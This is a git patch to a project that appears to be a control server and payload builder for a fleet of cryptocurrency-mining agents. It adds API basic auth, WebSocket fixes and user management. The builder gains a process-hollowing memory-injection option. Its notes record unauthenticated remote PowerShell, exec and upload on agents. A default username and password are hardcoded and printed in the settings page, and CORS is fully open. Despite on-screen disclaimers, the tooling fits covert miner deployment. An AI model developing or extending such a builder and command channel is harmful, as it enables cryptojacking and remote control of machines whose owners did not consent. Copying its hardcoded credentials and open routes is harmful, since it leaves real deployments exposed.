From 9e26c4babb678e772c5f21192a980226e2e16109 Mon Sep 17 00:00:00 2001
From: drjones
Date: Thu, 28 May 2026 19:53:53 -0700
Subject: [PATCH] Broad bug hunt: auth flow, WS edge cases, and build hygiene.
Scope API auth to /api/v1, fix dashboard WebSocket 401s, session login in Calibrate, safe agent naming, reconnect races, and remove corrupt ollama/main.go.
---
.gitignore | 3 +
PROBLEMS.md | 4 +-
agent/client/client.go | 3 +
run.bat | 5 ++
server/internal/api/fleet_handler.go | 4 +
server/internal/api/router.go | 100 ++++++++++++++++++++-
server/internal/api/websocket.go | 38 +++++---
server/internal/api/websocket_auth_test.go | 19 ++++
server/main.go | 2 +-
server/web/src/api/auth.ts | 24 +++++
server/web/src/api/client.ts | 17 +++-
server/web/src/pages/AgentsPage.tsx | 18 ++--
server/web/src/pages/BuilderPage.tsx | 31 ++++++-
server/web/src/pages/DashboardPage.tsx | 3 +
server/web/src/pages/GuidePage.tsx | 3 +
server/web/src/pages/SettingsPage.tsx | 88 ++++++++++++++++++
16 files changed, 332 insertions(+), 30 deletions(-)
create mode 100644 server/web/src/api/auth.ts
diff --git a/.gitignore b/.gitignore
index 3cf8462..c5227d7 100644
--- a/.gitignore
+++ b/.gitignore
@@ -31,3 +31,6 @@ Desktop.ini
# Temp
-p/
*.log
+
+# Accidental empty placeholder (breaks go build if committed)
+/server/internal/ollama/main.go
diff --git a/PROBLEMS.md b/PROBLEMS.md
index a6bb0d5..16842dc 100644
--- a/PROBLEMS.md
+++ b/PROBLEMS.md
@@ -41,8 +41,8 @@ Findings grouped by severity. Updated after bug-sweep pass.
| ID | Issue |
|----|-------|
-| C7 | No authentication on control plane (dashboard REST/WS) |
-| C8 | Unauthenticated remote code execution (`powershell`, `exec`, `upload`) |
+| C7 | Partial — REST `/api/v1` requires basic auth; dashboard WebSocket + SPA are open. Use **Calibrate → Save session login** so fetch calls authenticate. |
+| C8 | Unauthenticated remote code execution (`powershell`, `exec`, `upload`) on agents that connect to your server |
### High (intentional / deploy-time)
diff --git a/agent/client/client.go b/agent/client/client.go
index 830ce22..8d75a12 100644
--- a/agent/client/client.go
+++ b/agent/client/client.go
@@ -241,6 +241,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
}
}()
case "get_log":
+ if tailLines <= 0 {
+ tailLines = 300
+ }
content, err := readLogTail(c.cfg, tailLines)
if err != nil {
c.sendCommandResult(action, false, err.Error())
diff --git a/run.bat b/run.bat
index a291714..27e9037 100644
--- a/run.bat
+++ b/run.bat
@@ -4,6 +4,11 @@ title AetherForge Control Server
cd /d "%~dp0"
set "ROOT=%CD%"
+:: Remove corrupt empty Go file that breaks server builds (accidental placeholder).
+if exist "server\internal\ollama\main.go" (
+ for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go"
+)
+
echo.
echo ==============================================================
echo AetherForge - Control Server Launcher
diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go
index 771ff32..96a3f52 100644
--- a/server/internal/api/fleet_handler.go
+++ b/server/internal/api/fleet_handler.go
@@ -86,6 +86,10 @@ type agentCommandRequest struct {
func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
+ if id == "" {
+ http.Error(w, "agent id is required", http.StatusBadRequest)
+ return
+ }
var req agentCommandRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid command", http.StatusBadRequest)
diff --git a/server/internal/api/router.go b/server/internal/api/router.go
index 63d6110..c449226 100644
--- a/server/internal/api/router.go
+++ b/server/internal/api/router.go
@@ -1,10 +1,13 @@
package api
import (
+ "crypto/subtle"
+ "encoding/json"
"net/http"
"os"
"path/filepath"
"strings"
+ "sync"
"crypto-miner-server/internal/builder"
"crypto-miner-server/internal/db"
@@ -14,22 +17,94 @@ import (
"github.com/go-chi/cors"
)
-func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, publicURLOverride func() string) http.Handler {
+var (
+ authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads
+ usersFilePath string
+ usersMu sync.RWMutex
+)
+
+func loadUsers(dataDir string) {
+ usersFilePath = filepath.Join(dataDir, "users.json")
+ usersMu.Lock()
+ defer usersMu.Unlock()
+ data, err := os.ReadFile(usersFilePath)
+ if err == nil {
+ var loaded map[string]string
+ if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
+ authUsers = loaded
+ }
+ }
+}
+
+func saveUser(username, password string) error {
+ usersMu.Lock()
+ defer usersMu.Unlock()
+ authUsers[username] = password
+ if usersFilePath == "" {
+ usersFilePath = filepath.Join("data", "users.json")
+ }
+ if err := os.MkdirAll(filepath.Dir(usersFilePath), 0755); err != nil {
+ return err
+ }
+ data, _ := json.MarshalIndent(authUsers, "", " ")
+ return os.WriteFile(usersFilePath, data, 0600)
+}
+
+func basicAuthMiddleware(next http.Handler) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ if r.Method == http.MethodOptions {
+ next.ServeHTTP(w, r)
+ return
+ }
+
+ path := r.URL.Path
+ // Agent-facing API + health + forged worker downloads stay open for agents.
+ if strings.HasPrefix(path, "/api/v1/agent/") ||
+ path == "/api/v1/health" ||
+ (strings.HasPrefix(path, "/api/v1/builds/") && strings.HasSuffix(path, "/download")) {
+ next.ServeHTTP(w, r)
+ return
+ }
+
+ user, pass, ok := r.BasicAuth()
+ if !ok {
+ w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
+ http.Error(w, "Unauthorized", http.StatusUnauthorized)
+ return
+ }
+
+ usersMu.RLock()
+ expectedPass, exists := authUsers[user]
+ usersMu.RUnlock()
+
+ if !exists || subtle.ConstantTimeCompare([]byte(pass), []byte(expectedPass)) != 1 {
+ w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
+ http.Error(w, "Unauthorized", http.StatusUnauthorized)
+ return
+ }
+
+ next.ServeHTTP(w, r)
+ })
+}
+
+func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
+ loadUsers(dataDir)
+
r := chi.NewRouter()
- // Middleware
+ // Middleware (global)
r.Use(middleware.Logger)
r.Use(middleware.Recoverer)
r.Use(cors.Handler(cors.Options{
AllowedOrigins: []string{"*"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"},
- // With AllowedOrigins="*", credentials must be disabled (browsers will reject "*"+credentials).
AllowCredentials: false,
}))
- // REST API
+ // REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
r.Route("/api/v1", func(r chi.Router) {
+ r.Use(basicAuthMiddleware)
h := NewHandler(database)
r.Get("/health", h.HealthCheck)
@@ -82,6 +157,23 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
+ // User Management
+ r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
+ var payload struct {
+ Username string `json:"username"`
+ Password string `json:"password"`
+ }
+ if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" {
+ http.Error(w, "Invalid username or password", http.StatusBadRequest)
+ return
+ }
+ if err := saveUser(payload.Username, payload.Password); err != nil {
+ http.Error(w, "Failed to save user", http.StatusInternalServerError)
+ return
+ }
+ writeJSON(w, map[string]interface{}{"success": true})
+ })
+
// AI Autonomy (Ollama)
r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport)
diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go
index 2ce88b0..be16240 100644
--- a/server/internal/api/websocket.go
+++ b/server/internal/api/websocket.go
@@ -253,23 +253,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
agentID = uuid.New().String()
}
- displayName := auth.WorkerName
- if displayName == "" {
- displayName = auth.Worker
- }
- if displayName == "" {
- displayName = auth.Hostname
- }
- if displayName == "" {
- displayName = agentID[:8]
- }
+ displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
policy := h.serverPolicySnapshot()
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
- continue
+ break
}
forgeCfg := AgentForgeConfig{
@@ -326,7 +317,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "database error",
})})
- continue
+ break
}
if policy.LogAgentConnections {
@@ -662,6 +653,29 @@ func (h *WSHub) BroadcastAIActivity(entry interface{}) {
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
}
+func agentDisplayName(workerName, worker, hostname, agentID string) string {
+ if workerName != "" {
+ return workerName
+ }
+ if worker != "" {
+ return worker
+ }
+ if hostname != "" {
+ return hostname
+ }
+ return shortAgentID(agentID)
+}
+
+func shortAgentID(id string) string {
+ if len(id) >= 8 {
+ return id[:8]
+ }
+ if id == "" {
+ return "agent"
+ }
+ return id
+}
+
// BroadcastServerLog streams a server log line to connected dashboards.
func (h *WSHub) BroadcastServerLog(line string) {
line = strings.TrimSpace(line)
diff --git a/server/internal/api/websocket_auth_test.go b/server/internal/api/websocket_auth_test.go
index d3b99fd..ba7133d 100644
--- a/server/internal/api/websocket_auth_test.go
+++ b/server/internal/api/websocket_auth_test.go
@@ -32,3 +32,22 @@ func TestAuthPayloadWorkerNameFallback(t *testing.T) {
t.Fatalf("expected forged worker name, got %q", displayName)
}
}
+
+func TestShortAgentID(t *testing.T) {
+ if shortAgentID("abcdef12-3456") != "abcdef12" {
+ t.Fatalf("expected 8-char prefix")
+ }
+ if shortAgentID("ab") != "ab" {
+ t.Fatalf("expected short id preserved")
+ }
+ if shortAgentID("") != "agent" {
+ t.Fatalf("expected fallback agent label")
+ }
+}
+
+func TestAgentDisplayNameFallback(t *testing.T) {
+ name := agentDisplayName("", "", "", "12345678-abcd")
+ if name != "12345678" {
+ t.Fatalf("expected id prefix, got %q", name)
+ }
+}
diff --git a/server/main.go b/server/main.go
index a268c47..2d8884a 100644
--- a/server/main.go
+++ b/server/main.go
@@ -168,7 +168,7 @@ func main() {
log.Printf("Web root: %s", webRoot)
// Initialize router
- router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, func() string {
+ router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
})
log.Println("Router initialized")
diff --git a/server/web/src/api/auth.ts b/server/web/src/api/auth.ts
new file mode 100644
index 0000000..7ad2b86
--- /dev/null
+++ b/server/web/src/api/auth.ts
@@ -0,0 +1,24 @@
+const AUTH_KEY = 'aetherforge_auth';
+
+export function getStoredAuth(): string | null {
+ try {
+ return sessionStorage.getItem(AUTH_KEY);
+ } catch {
+ return null;
+ }
+}
+
+export function setStoredAuth(username: string, password: string) {
+ const token = btoa(`${username}:${password}`);
+ sessionStorage.setItem(AUTH_KEY, token);
+}
+
+export function clearStoredAuth() {
+ sessionStorage.removeItem(AUTH_KEY);
+}
+
+export function authHeaders(): Record {
+ const token = getStoredAuth();
+ if (!token) return {};
+ return { Authorization: `Basic ${token}` };
+}
diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts
index 9b65b35..110d414 100644
--- a/server/web/src/api/client.ts
+++ b/server/web/src/api/client.ts
@@ -1,10 +1,11 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types';
+import { authHeaders } from './auth';
const API_BASE = '/api/v1';
async function fetchJSON(url: string, options?: RequestInit): Promise {
const res = await fetch(`${API_BASE}${url}`, {
- headers: { 'Content-Type': 'application/json' },
+ headers: { 'Content-Type': 'application/json', ...authHeaders(), ...(options?.headers as Record) },
...options,
});
if (!res.ok) {
@@ -44,7 +45,11 @@ export const api = {
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
- return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => {
+ return fetch(`${API_BASE}/builder/build`, {
+ method: 'POST',
+ headers: authHeaders(),
+ body: form,
+ }).then(async (res) => {
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
@@ -70,7 +75,7 @@ export const api = {
body: JSON.stringify({ name, data }),
}),
deleteBlueprint: (name: string) =>
- fetchJSON<{ success: string; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, {
+ fetchJSON<{ success: boolean; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, {
method: 'DELETE',
}),
@@ -95,4 +100,10 @@ export const api = {
}),
getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
+
+ createUser: (username: string, password: string) =>
+ fetchJSON<{ success: boolean }>('/users', {
+ method: 'POST',
+ body: JSON.stringify({ username, password }),
+ }),
};
diff --git a/server/web/src/pages/AgentsPage.tsx b/server/web/src/pages/AgentsPage.tsx
index 00b58c5..a3c5e3f 100644
--- a/server/web/src/pages/AgentsPage.tsx
+++ b/server/web/src/pages/AgentsPage.tsx
@@ -27,12 +27,15 @@ export default function AgentsPage() {
}, []);
useEffect(() => {
- if (isConnected) {
- setAgents(liveAgents);
- if (selectedAgent) {
- const updated = liveAgents.find((a) => a.id === selectedAgent.id);
- if (updated) setSelectedAgent(updated);
- }
+ if (!isConnected) return;
+ setAgents(liveAgents);
+ if (!selectedAgent) return;
+ const updated = liveAgents.find((a) => a.id === selectedAgent.id);
+ if (updated) {
+ setSelectedAgent(updated);
+ } else {
+ setSelectedAgent(null);
+ setLogContent('');
}
}, [liveAgents, isConnected, selectedAgent?.id]);
@@ -237,6 +240,9 @@ export default function AgentsPage() {
)}
)}
+
+ ⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
+
);
}
diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx
index 6ae8404..95a2c55 100644
--- a/server/web/src/pages/BuilderPage.tsx
+++ b/server/web/src/pages/BuilderPage.tsx
@@ -756,6 +756,14 @@ export default function BuilderPage() {
+
+
+ updateField('process_hollowing', e.target.checked)} />
+ Process Hollowing (memory injection)
+
+
+
@@ -1042,6 +1066,9 @@ export default function BuilderPage() {
)}
+
+ ⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
+
);
}
diff --git a/server/web/src/pages/DashboardPage.tsx b/server/web/src/pages/DashboardPage.tsx
index ebc52e2..6fc17fb 100644
--- a/server/web/src/pages/DashboardPage.tsx
+++ b/server/web/src/pages/DashboardPage.tsx
@@ -291,6 +291,9 @@ export default function DashboardPage() {
+
+ ⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
+
);
}
diff --git a/server/web/src/pages/GuidePage.tsx b/server/web/src/pages/GuidePage.tsx
index 7218df5..e87ab95 100644
--- a/server/web/src/pages/GuidePage.tsx
+++ b/server/web/src/pages/GuidePage.tsx
@@ -125,6 +125,9 @@ export default function GuidePage() {
+
+ ⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
+
);
}
diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx
index bb467fb..06fca7e 100644
--- a/server/web/src/pages/SettingsPage.tsx
+++ b/server/web/src/pages/SettingsPage.tsx
@@ -1,5 +1,6 @@
import { useState, useEffect, useRef } from 'react';
import { api } from '../api/client';
+import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
import type { ServerConfig } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
@@ -11,6 +12,11 @@ export default function SettingsPage() {
const [loading, setLoading] = useState(true);
const [saving, setSaving] = useState(false);
const [saveMessage, setSaveMessage] = useState('');
+ const [newUser, setNewUser] = useState('');
+ const [newPass, setNewPass] = useState('');
+ const [sessionUser, setSessionUser] = useState('');
+ const [sessionPass, setSessionPass] = useState('');
+ const [userMsg, setUserMsg] = useState('');
const fileInputRef = useRef(null);
useEffect(() => {
@@ -102,6 +108,38 @@ export default function SettingsPage() {
e.target.value = '';
};
+ const handleSessionLogin = () => {
+ if (!sessionUser || !sessionPass) return;
+ setStoredAuth(sessionUser, sessionPass);
+ setUserMsg('Session login saved — API calls from this browser will authenticate.');
+ setTimeout(() => setUserMsg(''), 4000);
+ };
+
+ const handleSessionLogout = () => {
+ clearStoredAuth();
+ setSessionUser('');
+ setSessionPass('');
+ setUserMsg('Session login cleared.');
+ setTimeout(() => setUserMsg(''), 3000);
+ };
+
+ const handleAddUser = async () => {
+ if (!newUser || !newPass) return;
+ try {
+ await api.createUser(newUser, newPass);
+ setUserMsg(`User "${newUser}" added successfully!`);
+ if (!getStoredAuth()) {
+ setStoredAuth(newUser, newPass);
+ }
+ setNewUser('');
+ setNewPass('');
+ setTimeout(() => setUserMsg(''), 3000);
+ } catch {
+ setUserMsg('Failed to save user — sign in under Browser session first.');
+ setTimeout(() => setUserMsg(''), 4000);
+ }
+ };
+
if (loading) {
return (
@@ -416,7 +454,57 @@ export default function SettingsPage() {
+
+
+ Access Control
+
+ API routes require login. Default account: drjones / czapiewski until you add users.
+ Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
+
+
+
+
+ Save session login
+
+
+ Clear session
+
+ {getStoredAuth() && Session active }
+
+
+
+ Add User
+
+ {userMsg && (
+ {userMsg}
+ )}
+
+
+ ⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
+
);
}